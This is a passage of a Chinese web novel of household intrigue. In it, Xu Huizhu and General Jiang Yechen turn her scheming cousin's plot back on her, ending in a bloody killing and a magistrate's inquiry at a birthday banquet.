大福小声解释,心里却泛起疑惑,将军怎么就直接跑到大小姐的卧房睡觉,还睡得这么沉这么香。
这要是传出去......算了,有他大福在,绝对传不出半句闲言碎语。
姜夜沉这一觉只睡了两个时辰,睡眠质量却极好,仿佛睡了两三夜,睡得饱饱的。
他身患睡眠困难症,普神医试过无数法子,都是治标不治本。
普神医曾忧虑,姜夜沉这是在提前透支身体生机,极可能影响到寿元。
他连着两日两夜调查迷香楼失火案,未合眼,也不觉得疲累。
从皇宫出来,回尚书府的路上,金夏传口信让他先去徐从德的书房避一避。
避桃花?
他就想来问一问,哪来的桃花?为何要他避开?
徐慧珠的卧室,有淡淡的桂花香味,还有一缕特别的体香。他也不知自己怎么了,鬼使神差走到床榻,坐下来,
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接着躺进去,然后扯过她盖过的锦被,眼睛止不住打架,清醒在这一刻崩塌。
在入睡前,他不禁想,徐慧珠......是他的良药吗?
不管是不是,他还会来多求证几回。
比普神医开的安神汤药管用。
“醒了?”徐慧珠看了一眼窗外的夜色,得,不用睡了。
“一起再睡会儿?”姜夜沉的嘴巴比理智反应更快,说完恨不能咬破舌头。
身体更诚实。
他往里挪了挪,“徐慧珠,你不敢?”
姜夜沉孟浪了,又觉得自己孟浪的理直气壮。
因为,她是他的贵妾。他不过提前采摘徐慧珠这朵娇艳的花儿,以他的身份,这是他给予的宠爱。
她得感恩。
“将军莫忘了,您不能人道,何必......逞能。”
姜夜沉的眼里,并没有情欲,那就莫怪她说话浸了毒素。
看来,他还未死心,想要看得更清楚,她的身上到底有没有藏着秘密。
为何不明说呢?
她觉得自己稚嫩的很,正在摸索如何与她相处,主仆?还是男女?
大抵是她太不会说话,着实气到姜夜沉,他干脆背过身,盖上锦被,又补眠去了。
当然,他还是给她留了位置,意思是爱睡不睡。
她当然睡了。
第二日,徐云晗起得很早,她早就打听过,姜夜沉每日都会来煮雨院探望徐慧珠。
她刚出门,瞧见肖嬷嬷顶着一张肿脸急匆匆而来。
“四小姐,宋家来人了,正在慈心院跟老夫人闹。”
当着肖嬷嬷的面,徐云晗不屑掩饰眼里的阴郁之色。
“来的是宋夫人吧,闹什么?”
“宋家想为宋世茂求官,又不肯付出,呵,好大的脸面,还真当自己是尚书府的正经亲戚了。”
“肖嬷嬷,我还有事,就不回慈心院了,你私下告诉祖母,宋夫人若提着补品来看望祖母,就是亲戚。”
“若为宋世茂求官的事无理大闹,直接将人打出府。”
昨日,她没等到姜夜沉。
今日,更要把握机会,或为自己创造机会。
若不是宋世茂那个废物还有一丁点儿价值可榨,她早就借老夫人的手,送他入阴曹地府了。
第027章:父债女偿,天经地义
说来,当初徐从武和宋世茂在迷香楼为争头牌女妓京香姑娘大打出手,苗氏便献计,让徐从武引诱宋世茂染上脏病。
除了苗氏,无人知晓这等毒计出自徐云晗。
老夫人和娘家关系恶劣,徐云晗起到关键作用。
她嗜好破坏。
徐云晗打小早慧,从十二岁起掌控苗氏和老夫人为傀儡,以此为乐。
“可......可宋夫人说,二爷害惨宋二公子,如今二爷犯罪被发配到悦城,那就父债女偿,天经地义。”
“宋夫人带着媒人登门,说要合四小姐您和宋二公子的生辰八字......”
肖嬷嬷浑身颤抖,显然害怕极了。
“宋夫人还嚷嚷,说她知道背后出主意的人是谁。”
“你说什么?”徐云晗惊叫。
她帮父亲出气,引诱宋世茂染脏病,就连父亲也以为主意出自苗氏。
如今,苗氏已死,女妓早已处置,宋夫人从哪里得知真相?
她不可能出卖自己啊。
慈心院的热闹,徐慧珠看不到。
她假借姜夜沉的名义,约宋世茂见面。
见面地点定在春风酒楼,在姜夜沉的地盘,行事更便利,也更安全。
“草民宋世茂见过将军,能得将军召见,草民......草民欣喜若狂。”
“草民对将军的敬仰之情,如滔滔江水绵延不断。”
“草民做梦都想效命于将军麾下,保家卫国,抛头颅洒热血......”
宋世茂脸颊浮肿,额头冒虚汗,身上散发一股腥臭味,厚重的香料已遮掩不住。
宋世茂的脏病,快近膏肓。
恐怕为宋世茂看诊的大夫,也是半个庸医,一味进补,反倒加速耗尽宋世茂的生机。
“李二公子有鸿鹄之志,了不起。”难为姜夜沉昧着良心说假话,“慧珠向本将军推荐你。”
“宋家弟弟?”气氛烘托到这儿了,徐慧珠忍着恶心演戏。
“大......大小姐?不,徐家姐姐。”
宋世茂本事没有,小聪明不差。
“祖母因二叔之事,心情不美,我瞧着心疼,便想着做些事情让祖母开怀。”
“听祖母提说,宋家弟弟拥有一颗赤诚之心,最是崇拜将军,我便求了将军......”
姜夜沉点头。
很是配合徐慧珠演戏。
“祖母提说宋家弟弟,称赞良多。”
“可,祖母近来忧思,日日以泪洗面,还让父亲私下搜寻民间医者。”
“祖母只说天妒英才,宋家弟弟不幸身患疾病。”
锅都甩给老夫人,也不知,老夫人背着锅,重不重?累不累?
不过,她的腰骨断裂,那就让“锅”再压一压。
“宋家弟弟,我私心期盼祖母她老人家生活顺心,日日开怀,以尽我微薄的孝心。”
“我便想着,一是当面问一问宋家弟弟当真身患疾病,若情况属实,好请普神医为你看诊。”
如此贴心。
不会打破砂锅问到底到底得了什么疾病,只问是不是得病。
宋世茂感动的快哭了。
“徐家姐姐,你......你说能为我请到普神医?”
宋世茂万万没想到,天上真能掉馅儿饼,一砸一个准,直接砸到他的头上。
他要走大运了吗?
传闻普神医一身医术,比肩华佗。
如果普神医肯为他诊治,何愁不能恢复健康,重振雄风。
到时,迷香楼的姑娘们,任他驰骋。
“是呀,宋家弟弟。”
徐慧珠满眼真诚,化身善解人意的温柔姐姐,“普神医就在将军府,有将军说情,普神医定会愿意走一趟伯府。”
宋家自然打听到普神医就在将军府,可宋家想尽一切办法,莫说求普神医,连普神医的面都见不着。
宋家想过求姜夜沉,也只敢心里想想。
宋世茂激动到想要喊徐慧珠“亲姐”了。
他的内心在挣扎,要不要告诉徐慧珠实情,徐云晗那个蛇蝎美人儿要害她?
说,还是不说?
纠结啊。
“宋家弟弟,还有一件事情。”
徐慧珠大方,给敌人准备的惊喜,也是一个接一个。
“徐家姐姐,您说您说!”
宋世茂激动到口吐敬语,“莫说一件事,就是十件百件,只要我能做到的,我保证办得漂亮妥当。”
“就是我做不到,哪怕上刀山下火海,我拼了命也帮您办。”
“徐家姐姐,请您信我,我宋世茂男子汉大丈夫一言既出驷马难追,
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若在姐姐面前吹大话,就让我来世投胎为狗。”
确实很狗。
不,比狗还狗。
莫说叫姐姐,就是让他现在跪下来,叫祖宗,他也叫得欢实。
天知道,他这半年来过的是什么烂日子。
得知自己染上脏病,宋世茂万念俱灰,只剩下该死的绝望。
现下,徐慧珠从天而降,给他希望,她就是他的祖宗,正经的亲亲的祖宗。
“不知,宋家弟弟可愿意求娶云晗妹妹?”
先是为他请普神医治病,又给他说亲......徐慧珠菩萨心肠不成?
“身为长孙女,就是要解祖母忧而忧。”
“宋家弟弟,你也知道,二婶死的不怎么光彩,二叔又......云晗妹妹正心神脆弱之时,她渴望一个温暖的家,有人爱她疼她护她。”
“宋家弟弟求娶云晗妹妹,正所谓亲上加亲,更是一家人了。”
“将军方可名言正顺提携宋家弟弟,伯府的爵位和荣耀便能在宋家弟弟的手里延续。”
宋世茂眼神发热,胸腔涨得慌,他这匹千里马,终于等到赏识他的伯乐。
徐慧珠是他的恩人。
姜夜沉是他的伯乐。
这个时候,就是有人跳出来指责徐慧珠别有用心,宋世茂坚决不信,还能殴打那人一顿。
徐慧珠对自家祖母一片孝心,只不过,他宋世茂好命,成为受益人。
徐慧珠算计他什么了?
一出手就为他请来普神医,又借亲事之名,将军好顺理成章提携他。不是正应了大师为他测的命,福泽深厚,运道旺盛。
“明日,宋家弟弟便派人到将军府相请普神医。”
“待宋家弟弟成亲后,可愿先去兵部历练?先做个主事,历练三两年,攒够资历,将军也好提拔一二。”
“宋家弟弟,你意下如何?”
人怎么这般好?
这般和善?
他懂将军的良苦用心。
宋世茂只觉得一股暖流**于膝盖,骨头快要酥软了。
他跪声名显赫的战神将军,跪的心甘情愿,跪的感激涕零,跪的心花怒放。
“徐家姐姐,将军,我......我对不住你们,我信错人,差点犯下弥天大错啊,呜呜呜......”
第028章:求娶三姐妹,乃京城美谈一桩
徐慧珠默契地与姜夜沉对视,有时候,不能小瞧废物的价值,利用得当,会产生意想不到的惊喜。
徐云晗还不知道自己布下的双局,未付诸行动,就被宋世茂这个猪队友出卖的彻底。
此刻,她正在慈心院,忍着嫌恶应付宋夫人的丑陋嘴脸,好歹也是伯府当家夫人,却同市井泼妇一般。
上不得台面。
没眼看。
“大姑姑若不顾念亲戚情分,不乐意父债女偿,我伯府就豁出脸面去府衙状告,到时就让府官大人评理,孰对孰错。”
“父债女偿?”老夫人气不顺,要不是她瘫在床上,她早就赏苏氏两巴掌了。
好气。
老夫人够不着。
“苏氏,你是得了失心疯不成?”
“宋世茂被你们宠成小混混,还敢肖想老身的云晗,真真是癞**想吃天鹅肉,异想天开。”
“如果你不要脸面去府衙状告,有本事就去,尚书府还会怕了你伯府不成?”
什么玩意儿?
宋夫人苏氏,名苏烟雨。
这些年,伯府没少倚仗尚书府,从前宋夫人见着她,一口一声“大姑姑”,当菩萨供着敬着。
还有那不成器的宋世茂就是徐从武的小跟班,跟一条狗似的,让这娘俩汪汪,他们就不敢哼哼。
今日突然跑来发什么疯,还说徐从武害惨宋世茂,又说父债女偿?
她的云晗,是要嫁给权势滔天的姜夜沉,她还指望姜夜沉出手救回徐从武呢。
伯府算什么?宋世茂又算什么东西?
她从来依靠的不是娘家,也不是白眼狼长子徐从德,而是她心爱的幺儿徐从武。
气不过的是,大师测算幺儿的运道被长子霸占,她就不该......不该生下长子啊。
老夫人又想起徐从武,满眼愤恨盯着宋夫人,自徐从武出事,娘家人就跟**一样。
谁登门问候过一句?
谁给她想过法子?
“肖嬷嬷,将人打出去,命门房睁大狗眼看仔细了,别阿猫阿狗都放进来恶心人。”
宋夫人怄的要死,眼神不善盯着徐云晗,心想,待这**嫁给她儿子,她定要变着花样磨搓。
“大姑姑,您可别后悔。”
“滚!”老夫人咆哮道,都怪肖桂花这个老货勤快不到点上,她刚喝完药,碗就收走了。
不然,她定要砸得苏氏头破血流。
“祖母?”徐云晗心一横,决定向祖母坦白,“祖母救我。”
“半年前,宋世茂背刺父亲,母亲拗不过父亲,便托外祖父从下等窑子买了一名身染脏病的女妓......”
老夫人只觉得一浊气憋在心里,吐不出来,又咽不下去,憋的她老脸通红。
“苗-氏!”老夫人又又又将错摁在苗氏身上,
“**啊。”
“害惨老身的儿子,又来害老身的孙女,****!”
徐云晗:母亲,莫怪女儿,你都**,那就为女儿最后发挥一点儿价值。
“云晗,你回煮雨院,尽快行事,拿下姜夜沉。”
“你若成为姜夜沉的女人,宋世茂就是个屁,给你提鞋都不配。”
“一个小小的落败伯府,不敢跟将军府横。”
“祖母,宋夫人突然闹上门,在依靠将军府之前,还得请大伯父周旋。”徐云晗心里清楚,除非伯府想衰败的更快,他们不敢真的得罪尚书府。
这就是手握实权和衰败贵族的区别。
面子光亮,里子空荡荡,就得苟着。
眼下,还是先借尚书府的势,更现实。
徐云晗侍奉老夫人服用安神汤后,才从慈心院离开,去往煮雨院的路上,遇见李氏和**月散步。
“大伯母安好。”徐云晗恭敬行礼,端的一副柔顺乖巧的模样。
“二姐姐安好。”
**月原本对徐云晗无感,她听李氏的话,和徐慧珠不亲近,和徐云晗少来往。
私下里,李氏说得直白,苗氏一肚子花花肠子,教导出来的女儿青出于蓝而胜于蓝。
直到听说徐云晗欲夺徐慧珠的亲事,这便说明,徐云晗此人无品亦无德。
**月越发觉得,母亲看人的眼光,极准。
“云晗妹妹好手段,都是一府姐妹,我竟不知云晗妹妹喜好抢人东西。”
“云晗妹妹是不是心里恼恨投错了胎,若是生在大房,有个当二品大员的父亲,云晗妹妹今日看上哪位将军,明日看上哪位皇子,毫不顾忌人家是否已娶妻或有婚约,直接明抢暗夺?”
**月摆足脸色,就是要给徐云晗难堪。
“二姐姐?”
徐云晗从未将**月放在眼里,但她不
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能招惹,谁让**月有个手段厉害又极其护短的母亲。
“二姐姐在说什么,妹妹听不懂。”
“妹妹只知婚姻大事乃父母之命媒妁之言,妹妹可怜,母亲大去,父亲远行,可祖母她老人家尚在,妹妹又怎能私自做主。”
李氏并未阻止**月,她无需说话,就是在给**月最硬的底气。
假山后面,姜夜沉俯到徐慧珠的耳边,轻轻哈气,接着咬住她的耳垂,厮磨着。
他说,“尚书府的贵女很特别,一个不愿嫁我,一个主动替嫁,一个欲使手段爬床。”
“既如此,将军府后院空着很多院子,也是能住得下尚书府姐妹三人,我一并娶了,也是京城美谈一桩。”
她何其幸运,能见到杀神姜夜沉可爱的一面。
或许两世的远观,只为等待这一世的相处。
她与他,重新认识,重新相处。
“三姐妹共侍一男,这么劲爆的戏,醉仙戏楼独一份演出,恭喜将军又要大赚。”
徐慧珠其实想说,将军不能人道,还不忘使美男计,实在为难他了。
可,老戳人肺管子,不怎么道德。
再说,她徐慧珠是品性良善之人。
二月初一,徐慧珠的生辰,以往李氏会让厨娘单做一碗长寿面,窝两颗荷包蛋。
今年姜夜沉大手笔从春风酒楼请来五名掌勺大厨和若干伙计,要给她办一场热闹的生日宴。
姜夜沉如此高调,他的面子,徐从德得给。
不好意思拒绝。
也无从拒绝。
银子是姜夜沉出。
尚书府只提供场地,姜夜沉说:“当然,徐大人要是不同意,本将军就在春风酒楼大摆宴席。”
传出去,旁人只感叹一句“唉,他得了那种病”,也就能理解姜夜沉的种种折腾。
哪个男人不好脸面。
如何好脸面,抬高女人便是展现男人脸面的一种惯用方式。
欣韵院。
姜夜沉说他要让徐慧珠在娘家过的最后一个生辰,充满惊喜、难忘。
李氏命细雨开私库搬出来好些物件,正在考虑送什么当作生辰礼。
**月一会儿拿起珍珠头面,一会儿摸了摸绸缎,表情说不出来是高兴还是不悦,叹气一声接一声。
李氏故意问道,“怎么?后悔了?”
第030章:堂妹属于天生坏种
“长姐。”
徐云晗送上一只鸳鸯荷包。
算计人都不走心,荷包还是甩给身边奴婢刺绣。
“今日是长姐的生辰,我替长姐许愿,祝长姐和将军如这荷包上的一对鸳鸯,恩爱白头。”
“长姐,我为你戴上,可好?”
当然好了。
在荷包上下药,以为无色无味的毒,她识不得?
此毒精妙之处在于过十天半月发作,还是悄然发作,症状像极风寒。
果**小胆大啊。
徐慧珠笑意满面,“云晗妹妹这么快就从丧母的悲伤中走出来,心性坚韧,二叔在悦城也会安心的。”
**打脸,**诛心。
徐慧珠收下礼物,却当众啪啪打徐云晗的嫩脸。
她不屑装,更不愿委屈自己。
娘亲的死,对徐从德打击很大,甚至有两年的光景,她以为徐从德深爱着母亲,可她又想不明白,既然深爱,为何护不住?
是能力不足?还是根本不愿意护?
直到后来,李氏嫁给徐从德,徐慧珠第一回见到只比她小一岁的**月,她忽然就明白了什么。
有一日,李氏找到她,亲口告诉她另一个真相。
皇帝曾派徐从德去丽城,身为部落族长之女的李氏救过他的命,救命之恩当以身相许。
他哄骗李氏,终有一日他会明媒正娶心爱的姑娘。
明为爱情,却为政绩。
李氏长大的部落,那绵延的山脉深处,蕴藏矿产。
后来,他如约兑现诺言,娶李氏为继夫人。
李氏说,“大小姐,我之所以告诉你真相,是我不愿承受你无缘无故的恨。”
“你要恨的人,从来都不是我。”
“不,应该说,徐从德世我们共同的敌人。”
“因为,徐从德,我也恨极了他。”
心思飘了一会儿,徐云晗站在徐慧珠的对面,这张脸,五分像苗氏。
她的坏,她的狠,却远远甩开苗氏十条街。
有的人,天生就是坏种。
徐云晗就属于天生坏种。
“长姐?”
徐云晗没想到徐慧珠突然发难,但她很快就调整好情绪,脸上适时挂上一抹隐忍的痛楚。
“祖母说今日是长姐的生辰宴,她老人家身体抱恙,便让我替她老人家向长姐说一声:生辰快乐。”
“还有,祖母让我抄写往生经,祖母说长姐的生辰也是先大伯母的苦难日,望长姐生生世世记得先大伯母的生育之恩。”
娘亲的生育之恩,她当然记得,无需旁人提醒。
她还记得娘亲的仇,娘亲的怨,娘亲的恨…刻骨铭心,如何会忘。
花亭里都是年轻人,也没有长辈控场,哪知到生日宴的送礼环节,便上演一出姐妹互撕的好戏。
大房和二房的关系已水火不容?还是徐慧珠和徐云晗的姐妹关系破裂?
徐慧珠借口更衣,实则生气,她深深看一眼徐云晗,其中意思,唯有徐云晗明白。
本来热闹的生辰宴,徐云晗却借老夫人的势故意提起徐慧珠的亡母,徐慧珠能坐得住才怪,只怕是逃回院子,躲起来哭一场。
徐慧珠离开后,过了一会,徐云晗起身,一脸歉意地说,“各位抱歉,祖母服药的时辰到了。”
听说姜夜沉还在书房和徐从德谈公事,谁也没发现宋世茂悄悄溜了。
宋世雅提议去慈心院向老夫人请安,一行人一边欣赏府里景致一边向慈心院走去,途中与长辈们汇合。
苏氏和宋世雅迅速交换了一个眼神,低声威胁,“雅儿,不准坏你二哥的好事儿,不然我打断你的腿。”
“母亲?”宋世雅心里颇不是滋味,宋世茂明知道她爱慕姜夜沉的心思,今日好不容易盼到机会,她打算大胆一些,向姜夜沉表白。
女子的矜持算什么?
女子的自尊算什么?
等她成为姜夜沉的女人,她回到娘家,谁敢不讨好她?
“母亲的眼里只有二哥,二哥说什么都在理,做什么都对。哼。”
宋世雅生出一个邪恶的念头:大哥没了,母亲的注意力集中在二哥身上。若二哥像大哥一样,死于非命,母亲的孩子就只剩下她一个,她就是母亲眼里的光,心里的金疙瘩。
“母亲,二哥他......”
宋世雅只觉得奇怪,二哥前几日回府突然撂下狠话,让她趁早歇了勾引姜夜沉的心思。
更神奇的是,隔日,传说中的普神医登门了。
普神医,是二哥请来的。
送走普神医,苏氏抱住宋世茂狠狠哭一声,重复一句话,“天佑我儿!
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天佑我儿啊!”
苏氏狠狠拧了宋世雅一把,训斥道,“闭嘴。”
刚入慈心院,就听见宋世茂杀猪般的尖叫,一浪高过一浪。
“啊啊啊…...”
声音来源于慈心院的后偏房。
苏氏心里一惊,抓起宋世雅的手就跑,“世茂世茂,我的儿啊,你在哪里?”
“你这是怎么了?可千万别吓唬母亲啊。”
李氏就是有心阻止,为时晚矣。
何况,她懒得理会。
闹呗,使劲儿折腾,只要不害到她的明月,她乐得看戏。
“去请老爷,就说慈心院出事了。”
李氏吩咐完细雨,这才扬声道,“大家稍安勿躁,慈心院居住的是老夫人,宋二公子不会出大事。”
“可能是宋二公子碰巧撞见老夫人饲养的狼犬,一时吓着了,咱们一起去瞧瞧。”
说来,今日来的姻亲,就只有宋家。
苗家因为苗耀祖和苗氏的死,与尚书府从姻亲变成死仇。
李氏的娘家在丽城,山高路远,不可能为了一个小辈的生辰宴千里迢迢走这一趟。
而且,听说李氏嫁给徐从德后,主动和娘家断绝来往。
这时,一位胖夫人开口,“老夫人饲养的狼犬,我倒是见过一回,确实…...挺吓人的。”
胖夫人姓许,名金枝,嫁的夫君是徐家旁支徐常田,主要打理族中产业,倒是常来尚书府走动,私下和李氏相处不错。
正室里,肖嬷嬷正伺候老夫人喝药,被宋世茂夸凄厉张的尖叫惊得手一抖,一碗滚烫的黑乎乎的汤药撒在老夫人的脸上,痛的老夫人浑身打哆嗦。
“老奴该死,老奴该死!”
肖嬷嬷赶紧跪下求饶,这让老夫人的手挥在半空中,没打着肖嬷嬷的脸。
“老货!”
老夫人气得咬牙切齿,恨不能一巴掌呼死肖嬷嬷。
“滚!”
老夫人哪顾得上烫伤的脸颊,她刚刚听到宋世茂的尖叫,不对呀,宋世茂这个时候,不应该在煮雨院吗?
“肖桂兰,你去看看怎么回事?速…...速回来禀报。”
“是,老夫人。”肖嬷嬷低眉顺眼应是,等出了房门,肖嬷嬷扯起嘴角,笑了。
偏房里,好一出国色生香的画面......
第031章:废物反水,美人**
戏,演的逼真。
两人身上衣裳尽除,尤其是徐云晗,白皙的肌肤布满新鲜痕迹,无不彰显刚刚经历过什么。
甜腻腥血的气味,还新鲜着。
理智正一点点回拢。
徐云晗转瞬明白,宋世茂反水,她被他们合伙推到陷阱里了。
偏偏,宋世茂还先发制人。
“云晗妹妹,怎么是你?”
别说,宋世茂挺适合唱戏,演得活灵活现。
“云晗妹妹,怎么是你啊?”
“这到底是怎么回事?”
“你亲口跟我说老夫人已做安排给大小姐和将军下药,凑成我和大小姐的好事,而你成功爬将军的床?”
“难道你没给大小姐下药?”
“难道这是你布的局中局?”
“难道你......你中意我?为得到我,不惜用下药的下作手段逼我就范?”
“宋-世-茂!”徐云晗时常算计别人,没想到有朝一日自己却被算计了,还是被宋世茂这个废物算计。
她徐云晗如何能忍下今日之辱。
啪啪。
啪啪。
“宋世茂,你这个一无是处的废物,你竟敢背叛我?竟敢毁了我?”
徐云晗只觉得胸腔快要炸了,宋世茂明明身染脏病,还敢破她的身?
他要她不洁,他还要她也染上脏病吗?
不不不,她的目标是姜夜沉啊。
唯有姜夜沉那样手握实权的人,才能实现她的人生梦想。
她刚刚开始行动,梦想就破灭了。
她该怎么办?
“徐云晗,你骂我废物?”
宋世茂最不能接受谁骂他废物,因为他自我感觉良好,以前是空有一身才华抱负,无人赏识,无处施展。
直到遇见恩人徐慧珠,遇见伯乐姜夜沉,连姜夜沉都能发现并赏识他的才能,徐云晗凭什么骂他废物。
啪啪。
啪啪。
互扇耳光。
异常激烈。
宋世茂原本想要解释一番,他因为身染脏病,好几个月没碰女人了,徐云晗长得极美,他差点都没忍住。
但,宋世茂可以说师从徐从武,两人时常光临迷香楼,钻研出床榻那些事儿的精髓。
普神医说,他的脏病能治愈,但在治疗期间,不得行欢。
普神医是姜夜沉的人,说话如同圣旨,他得听。
“徐云晗,你很快就会嫁给我这个废物,白日受废物磨挫,夜夜取悦废物......”
“怎么样?是不是很期待?”
“哈哈哈......”
或许是宋世茂的笑太刺眼,话太伤人,徐云晗的脑袋混沌,胃里翻涌,心口刺痛,她拔下金簪,快准狠插入宋世茂的脖颈。
终于......安静了。
“你......你......”
宋世茂一手捂住脖颈,可喷涌的腥血如何捂得住。
他这不算“牡丹花下死做鬼也风流”。
不算。
宋世茂另一只手抓住徐云晗的长发,猛地磕向床沿,一下又一下,直到徐云晗的一张脸血肉模糊。
待苏氏和宋世雅推开门,入眼是床榻上的两个血人......
两人刚刚的争吵内容,门外的人听得真切。
另一边的内室,老夫人的脖子伸得僵硬,也不见肖嬷嬷回来。
“老货,贱奴!”
脸颊又烫又痛,腰也痛,心里的不安越强烈,老夫人一慌一着急,尿失禁了。
“祖母?”
徐慧珠掀开珍珠帘子,“祖母今日感觉可好些?”
“普神医新研制的补药,将军给您送来了。”
“咦?肖嬷嬷去熬药了吗?”
又说,“将军,祖母似乎尿了,请您去叫几个奴婢进来为祖母擦洗。”
老夫人眼前模糊,待人走近些,她才看清楚是徐慧珠和姜夜沉。
“你......你......”
老夫人扭动着身子,伸手抓住珍珠帘子,用力一扯,珍珠掉落一地。
这时,老夫人还没反应过来出了大事,她这几十年的内宅争斗,就成笑话了。
“老身的云晗啊!”
老夫人摔倒在地上,腰部骨折还未愈合,又第三回碎裂。
“啊啊啊......”
徐慧珠惊呼,“将军将军,祖母摔倒了。”
尚书府再次迎来府官大人,徐从德的脸色又黑又青,他的目光从人群扫过,最终落在徐慧珠的身上。
又是她?
她何意?
在大婚之前,赶尽杀绝?过足**瘾?
还是说,她在逼他出手,对她出手,由此好借姜夜沉的手对付他?
不,除掉他吗?
他是她的亲生父亲,她对他的恨,如此决绝?
“下官拜见将军,拜见徐大人。”
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府官大人姓平,名义,一个月内,他来尚书府两回。
这一回,还有幸见到姜夜沉。
平义不禁感叹:尚书府的水,挺浑也浊。
又疑惑:姜夜沉主动蹚尚书府的浑水,意在大小姐?还是意在徐大人?
“在本将军的眼皮子底下发生命案,破坏本将军为大小姐精心准备的生辰宴,实在过分至极。”
“平大人,本将军要一个真相,不为过吧。”
“是是是,将军言之有理,下官这就当场办案。”平大人伸手擦了一把额头上的冷汗,他是跑得太急,不是怕姜夜沉。
可他,真的怕啊。
有一年,他奉旨去北疆送军资,站在城墙上亲眼看见姜夜沉杀敌,跟切土豆似的,一个接一个炫,有时一剑炫两三个,像丧失感情的机器,不知疲累,可将军切的是人头,不是土豆啊。
也不知过了多久,姜夜沉杀了多久。
姜夜沉浑身是血,如同血人,走过他的身旁,他鬼使神差问了一句:将军,**是什么感觉?
姜夜沉忽然笑了,露出一口白牙,把手里滴血的剑扔到他的怀里,说道:“平大人去杀一个试试,很爽的。”
姜夜沉是战神,也是至疯至癫至狂之人。
平义有多敬仰姜夜沉,心里的阴影越厚重。
平义清了清嗓子,“谁第一个到达现场?听到什么?看到什么?”
宋夫人苏氏哭昏死过去两回,此刻,她抱着宋世茂渐渐僵硬的身体,哭得撕心裂肺。
“我可怜的儿啊......”
苏氏生育两子一女,长子在五岁时被**害死,那时她伤心欲绝,拿着菜刀逼迫夫君亲手杖杀大腹便便的宠妾。
后来,她每月五号去大平寺求神拜佛,祈求菩萨听到她的心声,让她怨死的长子重新投胎到她的肚子里,再做她的儿子。
再后来,她怀上宋世茂,生他的前一晚,她梦见长子,笑着跑到她的怀里,蹭啊蹭,叫“母亲”。
生宋世茂的那一日,正巧四月五日,也是长子的忌日,苏氏便觉得定是她虔诚跪求祈愿,得到菩萨的怜悯。
如今,她千宠万疼的幺儿却莫名其妙**。
她觉得,天都崩塌了。
真的塌了。
万物皆毁。
“回禀大人,小女子来说明事件过程。”一道柔媚的声音响起。
第032章:将军要把美人儿送入军中红帐
兄长刚死,徐慧珠却在宋世雅的脸上看到一抹怪异的兴奋。
明明是回禀平大人的问话,一双湿漉漉的眼睛却盯着姜夜沉看。
好比春日里发情的猫。
徐慧珠推一下金夏,挡住宋世雅黏糊糊的目光。
她悄悄捏了捏姜夜沉的手指,口型嘲讽:烂桃花。
宋世雅为了引起姜夜沉的注意,也是拼了,从入府一直说到现下。
“将军,小女如实禀报,愿能平将军的怒火。”
宋世雅目光含情,恨不能扑到姜夜沉的怀里,求将军怜惜。
“将军,请您给小女子几分薄面,莫生气。”
“气大伤身,小女子心疼将军。”
这个时候,凡是脑子正常点儿的人,不,应该说有人性良知的人,不是该趁机求姜夜沉为她的兄长讨回公道?
苏氏抱住宋世茂的尸体哭得伤心欲绝,宋世雅忙着勾引男人。
许金枝小声嘟囔,“我要是生养了这样的脑残女儿,干脆掐死,省得出去祸害旁人。”
“你是谁?脸真大,能平本将军的怒火?”姜夜沉说话不留情面。
“还有,你再敢看本将军一眼,我就送你入军中红帐,那里白日黑夜都是男人,让你勾引过瘾。”
这?
姜夜沉手里的剑**如炫土豆,他说出的话,更是字字句句喷射**。
夺命毁心啊。
“将军?”
宋世雅匍匐在地,一口气喘出,昏死过去。
也不知是吓的,还是羞的?
宋世雅是死是活,姜夜沉才不操心。
无关紧要的疯子,跟嗡嗡叫的苍蝇一样。
姜夜沉看向徐从德,目光冰冷,“徐大人可知,老夫人为何要给本将军下药?”
“我哪里得罪过老夫人?”
“徐大人是同流合污,还是不知情?”
“这?母亲前些日子逛花园时摔倒,一直卧床养病,如何能下药?只怕这其中另有隐情......”徐从德看了一眼血肉模糊、生死不知的徐云晗,心里明白,这个侄女再无价值。
既无价值可榨,当丢之弃之。
最好,徐云晗也**,**才更好背锅。
徐慧珠心里冷笑,她就知道,自己的父亲本性冷漠无情,欺软怕硬。
他不敢说姜夜沉伤了老夫人,更害得老夫人瘫痪,不仅因为惧怕姜夜沉,更因为姜夜沉于他而言,有利可图。
“老夫人是瘫在床榻,不是**。”
“再说,老夫人用得着亲自下药?”
敢这般毫不客气的人,唯有姜夜沉。
明明说好了姜夜沉只站台,不出声不出力。
她要仗姜夜沉的势,自然是姜夜沉得在现场,更有冲击力。
谁成想,姜夜沉不仅配合到位、有求必应,还时不时参与一番,给予惊喜。
徐慧珠一直关注苏氏,只见苏氏解开披风,小心翼翼垫置在宋世茂的脑袋下,满眼哀伤地说:“儿啊莫怕,母亲会为你报仇,会亲手送害你的**下地府,给你赔罪......”
“啊啊啊......”苏氏忽然从地上爬起来,冲入内室。
“老巫婆,你害死我儿,我杀了你杀了你!”
人快挤满院子,却无人拦得住发疯的苏氏。
当然,不是拦不住,有的人不愿拦,有的人不屑拦,有的人想过拦但身体不动。
平义又擦了一把额头的冷汗,硬着头皮说道,“既如此,本官便当面问一问老夫人。”
“下官职责所在,徐大人,得罪了。”
平义身为京城的府官,隔三差五得应付权贵,该说软话就说软话,该借势便也狐假虎威。
在场贵人里,属姜夜沉身份最为尊贵,手里握着北疆兵权和锦衣卫,他都没反对,平义便当徐从德应允了。
“将军先请。”
“大小姐先请。”
“徐大人先请。”
要么说京城府官一职,就平义当得风生水起,心思活泛,极懂眼色,可谓朝臣里的翘楚了。
只是,这一来二去,你礼我让,耽搁了一丁点儿时间。
待众人走进内室,便瞧见普神医着急得跺脚,他的帽子歪了,衣袖撕破半截,正努力劝说已疯癫失控的苏氏。
“这位夫人,你冷静啊冷静啊,老夫人腰部受伤,你再摇晃下去,老夫人就被你晃**。”
徐从德冷脸下令,“肖嬷嬷,还不赶紧扶宋夫人坐下来休息。”
正缩在徐慧珠身后,看戏看得起劲的肖嬷嬷猛掐自己的
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一把,才压制住脸上的激动神色。
差点,就露馅儿了。
“是是是。”
肖嬷嬷随手一拽,就拽到站最近的金夏,“金夏,劳烦你搭把手。”
“不!放开我,我要杀了黑心肝的老巫婆,为我的儿偿命。”苏氏平时养尊处优,身子娇弱,哪抵得过金夏的力气。
“普神医,母亲如何了?”
徐从德面上关心,就是不往床榻凑。
“老夫人的腰伤,治不好了,往后得精养着,吃喝拉撒在床榻上,离不得人。”
“另外,老夫人有卒中的征兆,受不得刺激,不然下一回,大概率真的卒中了。”
普神医将写好的药方递给徐从德,“我去偏房看看,如果人没死透,我就有法子救回来。”
“徐大人,今日诊金请备上三份,我只收现银,不喜银票。”
老夫人昏迷不醒,看样子一时半会醒不来。
